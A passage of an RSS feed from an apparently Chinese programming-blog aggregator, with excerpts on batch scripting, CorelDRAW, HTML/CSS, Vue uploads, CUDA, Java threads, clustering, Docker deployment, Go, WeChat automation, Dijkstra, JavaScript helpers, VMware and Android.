      <description>所有文本处理为UTF8:&#xA;REM 声明采用UTF-8编码&#xA;chcp 65001&#xA;设置整个窗口背景和字体颜色：&#xA;color 背景色+字体色&#xA;color help //查看&#xA;例如：&#xA;color 07&#xA;表示黑底白字，0表示黑 7表示白&#xA;关闭语句执行本身的打印：&#xA;方法1：文件开始时写上：@echo off&#xA;方法2：每个语句前面加上@，或&amp;gt;nul或&amp;gt;nul 2&amp;gt;nul&#xA;延迟变量：用户定义变量&#xA;setlocal enabledelayedexpansion&#xA;窗口大小：&#xA;mode con cols=30 lines=20&#xA;注意：这里会修改缓冲区大小变为20，因此要使用修改缓冲区方法来处理一次&#xA;缓冲区大小：&#xA;powershell.exe -command &#34;&amp;amp; {$pshost = Get-Host;$pswindow = $pshost.UI.RawUI;$newsize = $pswindow.BufferSize;$newsize.height = 1500;$pswindow.buffersize = $newsize;}&#34;&#xA;注意：这里的大小为1500，可以调整此值实现；bat命令本身没有可以单独设置缓冲区大小的命令，因此只能用powershell方式；也可以使用其它手动设置方法；&#xA;设置窗口名称：&#xA;title 窗口名称&#xA;注意：&#xA;1.所有路径最好使用双引号，否则会有很多奇怪的报错&#xA;2.所有路径最好用&#39;\&#39;而不要用&#39;/&#39;,因为最后一个是文件的话会索引不到&#xA;查看端口连接数：&#xA;netstat -an |find /c &#34;:80&#34;&#xA;查看端口占用的程序：&#xA;1.netstat -aon|findstr &#34;49157&#34; //观察最后一个ID,如2720&#xA;2.tasklist|findstr &#34;2720&#34;&#xA;例：&#xA;@echo off&#xA;setlocal enabledelayedexpansion</description>
    </item>
    <item>
      <title>cdr2022更新24.1版CorelDRAW2022稳定版</title>
      <link>https://bchobby.github.io/posts/e5f3175b36db389bfe6eaa2a79944cff/</link>
      <pubDate>Thu, 01 Sep 2022 00:37:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5f3175b36db389bfe6eaa2a79944cff/</guid>
      <description>CorelDRAW是我最早接触的矢量绘图软件，一直用它绘图、排版、打印、输出，一直感觉它功能很强大，CorelDRAW是加拿大的corel公司出品的，corel公司的产品强调的是编辑功能，它将各种要实现的功能直接表现于具体操作中，动动鼠标基本就能实现你想要的效果。CorelDRAW侧重于技术绘图，你可以看到你身边有些小公司没有装CAD软件，就拿CDR软件去绘制一些简单的室内布置图和示意图（这点从corel公司出品的corelcad也可以看出corel公司的优势在此），CorelDRAW的优势在于一个广度，CorelDRAW每次更新都是增加一个小功能，功能多，矢量绘图、文字排版、照片处理、甚至网页编辑，它都可以。CDR更像个无所不能的多面手，绘图、排版、编辑、输出无所不能，就像个能拉客又能拉货的五菱神车或昌河北斗星，有了它你什么都能干。&#xA;CorelDRAW（简称CDR）是一款专业的图形设计软件。该软件是加拿大Corel公司开发的一款功能强大的专业平面设计软件、矢量设计软件、矢量绘图软件。这款矢量图形制作工具软件广泛应用于商标设计、标志制作、封面设计、CIS设计、产品包装造型设计、模型绘制、插图描画、时装/服饰设计、印刷制版、排版及分色输出等诸多领域。经历二十多年的发展与蜕变，CorelDRAW系列已经发布了22个版本，其被广泛应用足以说明，其用户涵盖图形设计、平面设计、图文设计、广告设计、商业设计和美术设计等多个领域行业。&#xA;CorelDRAW Graphics Suite 2022 v24.1 图形设计软件2022年8月更新推送.该更新包含了针对CorelDRAW Graphics Suite 2022年3月版(24.0版)的功能增强以及性能与稳定性改进.CorelDRAW2022主要增强了图像编辑和导出功能,新功能加快了图片编辑速度,带来新工具,快捷方式和命令菜单,优化了学习工具.&#xA;新增和增强功能&#xA;CorelDRAW Graphics Suite 2022 年8 月更新（24.1 版）仅限持有有效 CorelSure Maintenance 计划的订阅用户和许可证用户使用，其中包含了针对 CorelDRAW 多方面的功能增强。&#xA;在欢迎界面（帮助 &amp;gt; 欢迎 &amp;gt; 教程）中根据您的个人资料调查访问个性化的学习内容。&#xA;在导出泊坞窗 (Windows) 或导出检查器 (macOS) 中，通过单击名称标签并输入新的名称对资产或页面进行重命名。在 Windows 上，您可以自定义提交想法和反馈菜单命令，并将更改保存至自定义工作区。如果在 macOS 上，应用程序在会话期间意外退出，系统会自动向 Corel 发送错误日志报告，以便修复问题并改进应用程序。个人资料调查最后一页的文本两侧均添加了内边距，以改善布局。当学习泊坞窗 (Windows) 或学习检查器 (macOS)的探索选项卡中没有与查询词条精确匹配的项目时，您将收到一条消息称应用程序将显示相似的词语或字符。当您在学习泊坞窗 (Windows) 或学习检查器 (macOS)的探索选项卡中搜索菜单命令时，搜索结果现在包括可以用来访问命令的所有相关位置的列表。现在，当您在学习泊坞窗 (Windows) 或学习检查器 (macOS)的探索选项卡中搜索菜单命令时，在用于访问命令的位置列表中，在上下文菜单栏之前会列出菜单栏。当您在学习泊坞窗 (Windows) 或学习检查器 (macOS) 的探索选项卡中搜索菜单命令时，搜索结果现在包括命令的完整路径。在个性化调查的最后一页，您将收到一条信息称应用程序正在根据您的个人资料更新推荐学习资源列表。 性能和稳定性&#xA;CorelDRAW Graphics Suite 2022 年 8 月更新（24.1 版）还包括针对客户所报诸多问题的性能和稳定性修复。当您在 EPS 导出对话框的高级选项卡中启用页面选项后，将文件保存为 EPS 格式，然后在 Corel PHOTO-PAINT中打开时，文档现在可以显示为正确的页面大小。当您在 Windows 10 和 Windows 11 上使用 Win+SHIFT+S 快捷键截屏时，现在可以将剪贴板的内容粘贴到CorelDRAW 文档中。当您在 Windows 上导出文件为 EPS 格式时，在应用了合并模式（例如“如果更暗”）且具有透明度的曲线将不再栅格化。JPEG 压缩失真去除功能现在可以正常工作。UsePageBoundingBox 属性已添加到 PDFVBASettings 类中，PDF 导出页面大小设置（PDF 设置 &amp;gt;通用）的脚本功能现在可以正常工作。当在 Windows 上使用 VBA 脚本设置轮廓属性时，CorelDRAW 会按照预期改变轮廓宽度。移动对象时缩放和平移的性能和稳定性问题已得到解决。不需要的非功能性工具和其他命令已从 Windows 上 Adobe Illustrator 工作区中的工具箱中删除。CorelDRAW 现在可以记住您在一次会话中在首选项（CorelDRAW 菜单 &amp;gt; 首选项 &amp;gt; macOS 上的颜色）或选项（工具&amp;gt; 选项 &amp;gt; Windows 上的颜色）对话框中选择的 PANTONE® 调色板。在学习泊坞窗 (Windows) 或学习检查器 (macOS) 中探索选项卡的搜索字段中输入特殊字符，例如 / 和%，再也不会导致“找不到页面”错误。macOS 上的个人资料调查中出现圆角的问题已经得到解决。当使用土耳其语、荷兰语和瑞典语等版本的应用程序时，学习泊坞窗 (Windows) 或学习检查器 (macOS)</description>
    </item>
    <item>
      <title>千峰HTML5&#43;CSS3学习笔记</title>
      <link>https://bchobby.github.io/posts/eb2a5ff55f7e64619a2adc725a046d3a/</link>
      <pubDate>Wed, 31 Aug 2022 16:24:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb2a5ff55f7e64619a2adc725a046d3a/</guid>
      <description>千峰HTML5+CSS3学习笔记 文章目录 千峰HTML5+CSS3学习笔记写在前面1. 前言2. HTML3. CSS3.1 选择器3.2 CSS属性 4. 盒子模型4.1 溢出属性4.2 元素显示类型4.3 定位4.4 精灵图4.5 宽高自适应4.6 窗口自适应 5. 表单进阶6. HTML5新特性7. CSS3基础7.1 CSS3选择器7.2 伪类选择器7.3 阴影7.4 圆角边框7.5 字体引入7.6 怪异盒模型7.7 弹性盒 8. 移动端布局9. 多列布局10. 响应式布局11. 布局单位12. 渐变13. 动画14. 网格布局15. 杀青 写在前面 学习链接：千锋HTML5前端开发教程1000集：[1集: 183集]，共183集感想 | 摘抄 查询标签在各大浏览器中的兼容问题：caniuse费曼学习技巧：以教促学行内元素转块元素的方法： display: block;position: absolute;float: left; 浮动和绝对定位的区别： float：半脱离，文字环绕absolute：全脱离，不会出现文字环绕效果 伪类和伪元素的区别（:和::的区别）Animate.css动画演示 学习时遇到的问题 1. 前言 居中：&amp;lt;center&amp;gt;居中文字&amp;lt;/center&amp;gt;WEB（网页）的组成部分 HTML结构：W3C制定了机构HTML的语法、标准CSS表现：W3C制定了表现CSS的语法、标准JS行为：W3C、ECMA制定了行为标准（W3C DOM，ECMAScript） 2. HTML 标记&#xA;常规标记，双标记空标记，单标记 &amp;lt;!DOCTYPE html&amp;gt;：特殊切固定的文档声明标签&#xA;hr：水平线&#xA;特殊符号&#xA;div标签&#xA;没有具体含义，用来划分页面的区域，独占一行。输入div*3 可以直接键入三行div span标签&#xA;没有实际意义，主要应用在对于文本独立修饰的时候，内容有多宽就占用多宽的空间距离。 li标签</description>
    </item>
    <item>
      <title>vue上传文件夹的解决方案</title>
      <link>https://bchobby.github.io/posts/b249b8403af3d1606b591e72c078910f/</link>
      <pubDate>Wed, 31 Aug 2022 15:01:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b249b8403af3d1606b591e72c078910f/</guid>
      <description>一、 功能性需求与非功能性需求&#xA;要求操作便利，一次选择多个文件和文件夹进行上传；&#xA;支持PC端全平台操作系统，Windows,Linux,Mac&#xA;支持文件和文件夹的批量下载，断点续传。刷新页面后继续传输。关闭浏览器后保留进度信息。&#xA;支持文件夹批量上传下载，服务器端保留文件夹层级结构，服务器端文件夹层级结构与本地相同。&#xA;支持大文件批量上传（20G）和下载，同时需要保证上传期间用户电脑不出现卡死等体验；&#xA;支持文件夹上传，文件夹中的文件数量达到1万个以上，且包含层级结构。&#xA;支持断点续传，关闭浏览器或刷新浏览器后仍然能够保留进度。&#xA;支持文件夹结构管理，支持新建文件夹，支持文件夹目录导航&#xA;交互友好，能够及时反馈上传的进度；&#xA;服务端的安全性，不因上传文件功能导致JVM内存溢出影响其他功能使用；&#xA;最大限度利用网络上行带宽，提高上传速度；&#xA;二、 设计分析&#xA;对于大文件的处理，无论是用户端还是服务端，如果一次性进行读取发送、接收都是不可取，很容易导致内存问题。所以对于大文件上传，采用切块分段上传&#xA;从上传的效率来看，利用多线程并发上传能够达到最大效率。&#xA;三、解决方案：&#xA;文件上传页面的前端可以选择使用一些比较好用的上传组件，例如百度的开源组件WebUploader，泽优软件的up6，这些组件基本能满足文件上传的一些日常所需功能，如异步上传文件，文件夹，拖拽式上传，黏贴上传，上传进度监控，文件缩略图，甚至是大文件断点续传，大文件秒传。 在web项目中上传文件夹现在已经成为了一个主流的需求。在OA，或者企业ERP系统中都有类似的需求。上传文件夹并且保留层级结构能够对用户行成很好的引导，用户使用起来也更方便。能够提供更高级的应用支撑。&#xA;文件夹数据表结构&#xA;CREATE TABLE IF NOT EXISTS `up6_folders` (&#xA;`f_id` char(32) NOT NULL ,&#xA;`f_nameLoc` varchar(255) default &#39;&#39;,&#xA;`f_pid` char(32) default &#39;&#39;,&#xA;`f_uid` int(11) default &#39;0&#39;,&#xA;`f_lenLoc` bigint(19) default &#39;0&#39;,&#xA;`f_sizeLoc` varchar(50) default &#39;0&#39;,&#xA;`f_pathLoc` varchar(255) default &#39;&#39;,&#xA;`f_pathSvr` varchar(255) default &#39;&#39;,&#xA;`f_pathRel` varchar(255) default &#39;&#39;,&#xA;`f_folders` int(11) default &#39;0&#39;,</description>
    </item>
    <item>
      <title>GPU、CUDA和cuDNN分别是什么，之间又有什么关系？</title>
      <link>https://bchobby.github.io/posts/6348750ff9a2e63d02f7de9d558b5924/</link>
      <pubDate>Wed, 31 Aug 2022 14:44:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6348750ff9a2e63d02f7de9d558b5924/</guid>
      <description>文章目录 GPU、CUDA和cuDNN分别是什么，之间又有什么关系？1. GPU2. CUDA3. cuDNN GPU、CUDA和cuDNN分别是什么，之间又有什么关系？ 1. GPU GPU，图形处理单元（Graphics processing unit），为数据的并行处理而设计，可以更好的进行图形和视频渲染，应用广泛。&#xA;GPU的发展是对CPU的补充，CPU被设计用来处理通用任务，具有更为复杂的控制单元。虽然CPU通过架构创新、更快的时钟速度和核心的增可以进行性能提升，但是GPU是专门为加快图像工作负载而设计的，主要用来处理逻辑性不强的大规模数据计算任务，在这方面有着远胜于CPU的优势。&#xA;GPU和显卡通常被用来表达同一概念，但是两者之间存在一定的区别。GPU之于显卡，就像CPU之于主板，显卡指的是集成GPU的扩展板，板子上还包括大量的其它部件，既能让GPU运行，又能连接到系统的其它部分。GPU有集成和独立两种类型，集成的GPU是嵌入在CPU旁边，而独立的GPU是单独的芯片，安装在自己的电路板上。&#xA;GPU最初被设计用来加速图形的渲染，但是随着时间的推移，GPU变得更加灵活和可编程，可以用其创造出更有趣的视觉效果和逼真的场景。开发人员也开始利用GPU强大的能力来大幅度加速深度学习等领域的计算工作。&#xA;2. CUDA CUDA是NVIDIA专门为GPU上通用计算开发的并行计算平台和编程模型。借助CUDA，开发者可以利用GPU的强大性能显著加速计算应用。在经 GPU 加速的应用中，工作负载的串行部分在 CPU 上运行，且 CPU 已针对单线程性能进行优化，而应用的计算密集型部分则以并行方式在数千个 GPU 核心上运行。&#xA;也就是说，CUDA是一个并行计算平台，利用这个平台接口，可以高效、灵活的利用GPU的并行计算能力，完成大规模数据计算任务。&#xA;3. cuDNN cuDNN是NVIDIA开发的深度神经网络库，一个 GPU 加速的深度神经网络基元库，能够以高度优化的方式实现标准例程（如前向和反向卷积、池化层、归一化和激活层）。&#xA;借助cuDNN可以实现高性能 GPU 加速，研究人员和开发者可以专注于训练神经网络及开发软件应用，而不必花时间进行低层级的 GPU 性能调整，也避免了每个使用者都需要自己实现底层的CUDA编程。如果用GPU训练模型，cuDNN也并不是必须的，但是一般会采用这个加速库。cuDNN 可加速广泛应用的深度学习框架，包括 Caffe2、Keras、PaddlePaddle、PyTorch 、TensorFlow等&#xA;在明白GPU、CUDA和cuDNN分别是什么之后，三者之间的关系就明晰了&#xA;在GPU上进行深度学习开发的过程中，我们利用Pytorch等深度学习框架编写代码，然后深度学习框架依赖cuDNN深度神经网络库，利用CUDA并行计算平台，实现深度学习代码在高性能GPU上的加速运行。可以看作是深度学习框架依赖于cuDNN -&amp;gt; cuDNN依赖于CUDA -&amp;gt; CUDA依赖于GPU。</description>
    </item>
    <item>
      <title>多线程之线程同步与协助</title>
      <link>https://bchobby.github.io/posts/299aaf42259720f08328b31594ec6d49/</link>
      <pubDate>Wed, 31 Aug 2022 14:12:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/299aaf42259720f08328b31594ec6d49/</guid>
      <description>多线程 1.线程同步 1.1线程同步：多个线程操作同一个资源 并发： 同一个对象被多个线程同时操作&#xA;现实生活中，我们会遇到”同一个资源，多个人都想使用”的问题，比如，食堂排队打饭，每个人都想吃饭，最天然的解决办法就是，排队一个个来。 处理多线程问题时，多个线程访问同一个对象，并且某些线程还想修改这个对象.这时候我们就需要线程同步.线程同步其实就是一种等待机制，多个需要同时访问！此对象的线程进入这个对象的等待池形成队列，等待前面线程使用完毕，下一个线程再使用。 形成线程安全的条件：队列+锁锁机制【synchronized】&#xA;由于同一进程的多个线程共享同一块存储空间，在带来方便的同时，也带来了访问冲突问题，为了保证数据在方法中被访问时的正确性，在访问时加入锁机制synchronized，当一个线程获得对象的排它锁，独占资源，其他线程必须等待，使用后释放锁即可 锁机制存在以下问题： 一个线程持有锁会导致其他所有需要此锁的线程挂起。在多线程竞争下，加锁，释放锁会导致比较多的上下文切换和调度延时，引起性能问题；如果一个优先级高的线程等待一个优先级低的线程释放锁会导致优先级倒置，引起性能问题 1.2三大不安全案例 1.21 不安全买票代码演示 package threads.demo03; //不安全的买票 //线程不安全，有负数 public class UnsafeBuyTicket { public static void main(String[] args) { BuyTicket bt = new BuyTicket(); new Thread(bt,&#34;牛逼的黑客&#34;).start(); new Thread(bt,&#34;可恶的黄牛&#34;).start(); new Thread(bt,&#34;傻傻的我&#34;).start(); } } class BuyTicket implements Runnable{ //票 private int tikcetNum=10; boolean flag=true; //外部停止方式 @Override public void run() { //买票 while (flag){ try { buytick(); } catch (InterruptedException e) { e.printStackTrace(); } } } void buytick() throws InterruptedException { //判断是否有票 if(tikcetNum&amp;lt;=0){ flag=false; return; } //模拟延时 Thread.</description>
    </item>
    <item>
      <title>五种常见的聚类算法总结</title>
      <link>https://bchobby.github.io/posts/99e3a6abf499ef5de7c51e0e60a71311/</link>
      <pubDate>Wed, 31 Aug 2022 14:05:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99e3a6abf499ef5de7c51e0e60a71311/</guid>
      <description>目录&#xA;一、关于聚类的基础描述&#xA;1.1 聚类与分类的区别&#xA;1.2 聚类的概念&#xA;1.3 聚类的步骤&#xA;二、几种常见的聚类算法&#xA;2.1 K-means聚类算法&#xA;1) K-means算法的流程：&#xA;2）K-means算法的优缺点及算法复杂度&#xA;3）K-means算法的调优与改进&#xA;4）K-means算法的python代码实现&#xA;2.2 GMM高斯混合模型聚类算法&#xA;2.3 Mean shift聚类算法&#xA;1）单点mean shift算法基本流程&#xA;2）整个数据集的meanshift聚类流程&#xA;3）meanshift聚类算法的优缺点及算法复杂度&#xA;4）meanshift在图像分割和目标跟踪领域的应用&#xA;5）单点meanshift的python代码实现&#xA;2.4 基于密度的DBSCAN聚类算法&#xA;1）DBSCAN算法的基本概念&#xA;2）DBSCAN的基本流程&#xA;3）DBSCAN的优缺点及算法复杂度&#xA;4）DBSCAN的代码实现&#xA;2.5谱聚类spectral clustering&#xA;一、关于聚类的基础描述 1.1 聚类与分类的区别 聚类是一种无监督学习，即数据不需要有标签即可。它与分类不同，分类是对有标签的数据进行的，是一种有监督学习。这是两者的区别。（举个例子，一堆人站在这里，没有标签，我们可以采用聚类来对这群人分组，如选取身高这个指标来对他们聚类。而如果是分类，比如男女分，按照每个人的性别标签即可。聚类不需要标签，只要我们自己选择一个指标，按指标来分簇即可。）&#xA;1.2 聚类的概念 聚类是按照某个指标（如样本之间的距离）把数据集分割成不同的类或者簇，使类内元素的相似性尽可能的大，类间元素的相似性尽可能小，通过这样来对相似的数据进行归簇，从而达到聚类的效果。&#xA;1.3 聚类的步骤 1.数据准备 ： 特征标准化（白化）&#xA;2.特征选择 ： 特征降维，选择最有效的特征&#xA;3.特征提取： 对选择的特征进行转换，提取出更有代表性的特征&#xA;4.聚类： 基于特定的度量函数进行相似度度量，使得同一类数据的相似度尽可能的贴近，不同类的数据尽可能分离，得到各个类的中心以及每个样本的类标签。&#xA;5.评估： 分析聚类结果，如距离误差和误差平方和（SSE）等&#xA;二、几种常见的聚类算法 2.1 K-means聚类算法 1) K-means算法的流程： 1.随机选取K个中心点&#xA;2.遍历数据集里面的每个点，看距离哪个中心点最近就分为哪一类，遍历完一共K类&#xA;3.把属于一类的点取平均值，得到的平均值作为新的中心点&#xA;4.然后不断重复步骤2，3，直到达到结束条件为止。（当中心点不再变动或变动很小，当达到最大迭代次数）&#xA;2）K-means算法的优缺点及算法复杂度 优点：&#xA;原理简单，算法复杂度较低&#xA;缺点：</description>
    </item>
    <item>
      <title>手把手开发Admin 系列七（部署篇）</title>
      <link>https://bchobby.github.io/posts/6a73793191d3ab804be7f1d74b65b465/</link>
      <pubDate>Wed, 31 Aug 2022 13:43:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a73793191d3ab804be7f1d74b65b465/</guid>
      <description>文档：https://docs.arklnk.com&#xA;前端：https://github.com/arklnk/ark-admin-vuenext&#xA;后端：https://github.com/arklnk/ark-admin-zero&#xA;go-zero：https://go-zero.dev/cn&#xA;演示： http://arkadmin.si-yee.com&#xA;账号密码备注demo123456演示账号 构建镜像 docker build -f app/core/cmd/api/Dockerfile -t imagesName:version . 应用部署 注：图片来源于go-zero官方文档&#xA;项目前期，我们可能不需要太多功能，所以我们可以根据自己的项目需求简化一下部署，&#xA;ark-admin核心core模块没用到rpc，只用了api和model。&#xA;git clone https://github.com/arklnk/ark-admin-zero.git cd ark-admin-zero docker-compose up -d version: &#39;3&#39; services: ark-admin-zero: image: arklnk/ark-admin-zero:latest container_name: ark-admin-zero volumes: - ./deploy/service/core/etc:/app/etc - ./data/service/logs:/app/logs restart: always networks: - ark_admin_net mysql: image: mysql:5.7 container_name: mysql environment: TZ: Asia/Shanghai MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: ark_admin ports: - &#34;3306:3306&#34; volumes: - ./data/mysql/data:/var/lib/mysql - ./deploy/sql/:/docker-entrypoint-initdb.d/ privileged: true restart: always networks: - ark_admin_net phpmyadmin: image: phpmyadmin:latest container_name: phpmyadmin restart: always ports: - &#34;</description>
    </item>
    <item>
      <title>go语言入门</title>
      <link>https://bchobby.github.io/posts/2755c3c05f4d375bc9a477e5b4163318/</link>
      <pubDate>Wed, 31 Aug 2022 13:16:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2755c3c05f4d375bc9a477e5b4163318/</guid>
      <description> 介绍 golang消耗内存少，消耗cpu少，特别适合在k8s里面运行。&#xA;工具 goland或者vscode都不错，我倾向于用vscode，因为vscode是开源的免费的。&#xA;开始 安装golang创建项目目录，比如myapp在项目目录下执行：`go mod init aaa.com/myapp` （说明：init后面的参数是module path，module path类似java的package name是个虚拟路径）在vscode里面安装golang插件在vscode里面打开项目目录可以写代码调试运行了特别说明一下，我选择了module模式来开发项目。在module模式下代码里`import aaa.com/myapp/packageName`就可以引用本地module。 学习路径 语法基础学习项目标准结构 https://github.com/golang-standards/project-layoutgorm库gin库cron库去网上搜索golang最佳实践的文章看看在github上找golang的流行项目看看动手写个项目 </description>
    </item>
    <item>
      <title>又一微信自动化框架wxauto横空出世了！</title>
      <link>https://bchobby.github.io/posts/80d06bd27e25bd9e9b6ed9e447322744/</link>
      <pubDate>Tue, 30 Aug 2022 20:02:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80d06bd27e25bd9e9b6ed9e447322744/</guid>
      <description>前面有一款微信自动化的框架itchat比较火爆，可以实现网页版的微信登录以及完成一系列微信自动化的功能实现。&#xA;但是，由于很多用户实际上是不用使用网页版的微信进行登录的，这就造成了很大的限制。今天在论坛上发现了这款不使用网页版登录的框架wxauto同样可以实现自动化的操作。&#xA;wxauto，它是在PC客户端直接实现，使得我们操作起来更加的安全、便捷。&#xA;1、准备环境&#xA;在开始之前我们先来看看若是实现自动化需要什么条件。下面将我的python版本以及操作系统要求列出来。&#xA;python 版本：3.8.10&#xA;操作系统：windows7&#xA;wxauto版本：3.3.5.3&#xA;通过pip的安装方式命令进行安装，pycharm默认使用的还是清华大学的镜像站。&#xA;pip install wxauto 2、获取聊天内容&#xA;准备完成之后，便可以使用wxauto实现自己的自动化功能。为了演示我就以获取我们自己的聊天记录信息来实现自动化。&#xA;其他的实现自动化的功能可以自行挖掘，希望大家都可以做出自己的自动化操作工具。欢迎前往我的知识星球进行分享！&#xA;# 首先，将wxauto模块导入到我们的代码块中。 from wxauto import * # 初始化我们已经登录的客户端对象WeChat。 wx_cli = WeChat() # 获取当前的客户端的联系人列表。 wx_cli.GetSessionList() # 输出当前所在的聊天窗口的信息。 messages = wx_cli.GetAllMessage for message in messages: print(&#39;%s : %s&#39; % (messages[0], messages[1])) # 获取到当前的聊天信息，还可以获取更多，使用LoadMoreMessage函数就可以实现。 wx_cli.LoadMoreMessage() more_messages = wx_cli.GetAllMessage for more_message in more_messages: print(&#39;%s : %s&#39; % (more_message[0], more_message[1])) 通过上面的两个python函数的调用我们的小功能就已经实现了，我们是将获取到的信息打印在控制台上面的。&#xA;3、测试功能&#xA;最重要的环节就是测试功能，我先在PC端将我自己的微信登录好，使用’微信运动’作为我的默认窗口。&#xA;这里有两个注意点：&#xA;（1）不能将客户端最小化。&#xA;（2）不能将客户端缩小到后台运行的小菜单。&#xA;因为，如果放到最小化时，它实际上是读取不到客户端的信息的，这点在测试时候需要特别注意。&#xA;然后，我直接启动写好的小功能就可以实现读取当前窗口的消息内容，看看效果如何！</description>
    </item>
    <item>
      <title>PAT 1163 Dijkstra Sequence（30）</title>
      <link>https://bchobby.github.io/posts/adc670d57471c6a662e28ce122255518/</link>
      <pubDate>Tue, 30 Aug 2022 16:31:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/adc670d57471c6a662e28ce122255518/</guid>
      <description>1163 Dijkstra Sequence 题目代码参考代码复现代码 参考文章注意123 题目 代码 参考代码 // 相等的时候有多种取法, 逐一判断 #include&amp;lt;bits/stdc++.h&amp;gt; using namespace std; int inf = 0x7f7f7f7f; int edge[1100][1100]; int dist[1100]; bool visit[1100]; int main() { fill(edge[0], edge[0] + 1100 * 1100, inf); int nv, ne; cin &amp;gt;&amp;gt; nv &amp;gt;&amp;gt; ne; for(int i = 0; i &amp;lt; ne; i++) { int a, b, weight; cin &amp;gt;&amp;gt; a &amp;gt;&amp;gt; b &amp;gt;&amp;gt; weight; edge[a][b] = edge[b][a] = weight; } //cout &amp;lt;&amp;lt; edge[3][4] &amp;lt;&amp;lt; endl; // 开始判断 int k; cin &amp;gt;&amp;gt; k; for(int i = 0; i &amp;lt; k; i++) { // 记录一下待判断的seq vector&amp;lt;int&amp;gt; v(nv); // 存一下 for(int j = 0; j &amp;lt; nv; j++) cin &amp;gt;&amp;gt; v[j]; //cout &amp;lt;&amp;lt; v[0] &amp;lt;&amp;lt; endl; // 开始判断 // 初始化dist, visit fill(dist, dist + 1100, inf); fill(visit, visit + 1100, false); // 起始点 dist[v[0]] = 0; // 依次检查 bool flag = true; for(int j = 0; j &amp;lt; nv; j++) { // 寻找最小的dist, 判断是否符合 int minn = inf; vector&amp;lt;int&amp;gt; record; for(int k = 1; k &amp;lt;= nv; k++) { if(visit[k] == false) { if(dist[k] == minn) record.</description>
    </item>
    <item>
      <title>常见的功能函数</title>
      <link>https://bchobby.github.io/posts/ec695a6c0f34b323ae86c796ee2123d8/</link>
      <pubDate>Tue, 30 Aug 2022 16:30:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec695a6c0f34b323ae86c796ee2123d8/</guid>
      <description>本文会不定时更新，有需要的随便拿走不谢&#xA;一、解析URL参数 解析URL参数在前端开发中是非常常见的功能&#xA;const _getParams = (url) =&amp;gt; { // 补全代码 const params=url.split(&#39;?&#39;)[1].split(&#39;&amp;amp;&#39;) const obj={} params.forEach(item=&amp;gt;{ obj[item.split(&#39;=&#39;)[0]]=item.split(&#39;=&#39;)[1] }) return obj } 二、格式化时间函数 后端返回时间戳，前端显示年月日，时分秒&#xA;function formatDate (value) { if (typeof (value) == &#39;undefined&#39;) { return &#39;&#39; } else { let date = new Date(parseInt(value)) let y = date.getFullYear() let MM = date.getMonth() + 1 MM = MM &amp;lt; 10 ? (&#39;0&#39; + MM) : MM let d = date.getDate() d = d &amp;lt; 10 ?</description>
    </item>
    <item>
      <title>使用vmware tools压缩Ubuntu虚拟机所占用的空间</title>
      <link>https://bchobby.github.io/posts/59f7012d9714452192c8f0e3f112207e/</link>
      <pubDate>Tue, 30 Aug 2022 10:10:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59f7012d9714452192c8f0e3f112207e/</guid>
      <description>问题描述：&#xA;虚拟机使用久了，在D盘里的对应文件夹越来越大，并且vmware workstation的“碎片整理”“压缩”功能都没有用太大用处.&#xA;解决方法：&#xA;压缩磁盘所占据的空间&#xA;1.使用df -h 指令可查找到磁盘真实占据的磁盘空间。&#xA;（及时清理回收站文件）&#xA;2.当虚拟机安装文件夹所剩余的空间大于df -h 显示的磁盘空间占用量时，推荐使用vmware tools清理：&#xA;在此之前肯定要先安装vmware tools啦&#xA;安装方法：&#xA;方法①vmware软件菜单栏直接安装&#xA;方法②手动安装&#xA;在虚拟机设置中的CD/DVD选项的ISO映像文件中选择VMware安装目录下的Linux.iso文件：&#xA;打开虚拟机，在左侧菜单打开VMware tools，选中此目录界面在终端打开&#xA;将压缩包复制到其他目录，并解压，进入解压完的目录，sudo运行vmware-install.pl :&#xA;安装完毕！&#xA;第一次用vmware tools清理的时候报错说虚拟机禁用了磁盘清理，要退出安全模式+删除所有快照+禁用undo disks：&#xA;确保您的虚拟机没有暂停并且没有在安全模式下运行。 如果在安全模式下运行，请关闭，然后在尝试压缩。&#xA;同时请注意压缩虚拟机磁盘只能在该虚拟机没有快照且禁用Undo disks选项的情况下进行。 若要禁用Undo disks选项：&#xA;1. 打开虚拟机菜单或在 Mac 菜单栏（在 Crystal 视图模式下）里按 Alt 并单击（选择单击）Parallels 图标并点击配置。&#xA;2. 在虚拟机配置窗口里，进入选项 选项卡并在侧边栏里选择 安全 。&#xA;3. 设置Undo disks选项以禁用。&#xA;前两个操作（安全模式+删除所有快照）顺利完成，关于如何禁用undo disks（我也不知道是哪个操作生效的，我两个都做了）：&#xA;最后输入以下命令即可：&#xA;sudo vmware-toolbox-cmd disk wipe / sudo vmware-toolbox-cmd disk shrink / 在宿主机中查看虚拟机文件夹，可以看到所占空间大大减小，和虚拟机中df-h显示的大小差不多了</description>
    </item>
    <item>
      <title>Android四大组件之activity（活动）</title>
      <link>https://bchobby.github.io/posts/abde8c68ca05c3820b8fdec4d1670ab7/</link>
      <pubDate>Tue, 30 Aug 2022 09:54:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abde8c68ca05c3820b8fdec4d1670ab7/</guid>
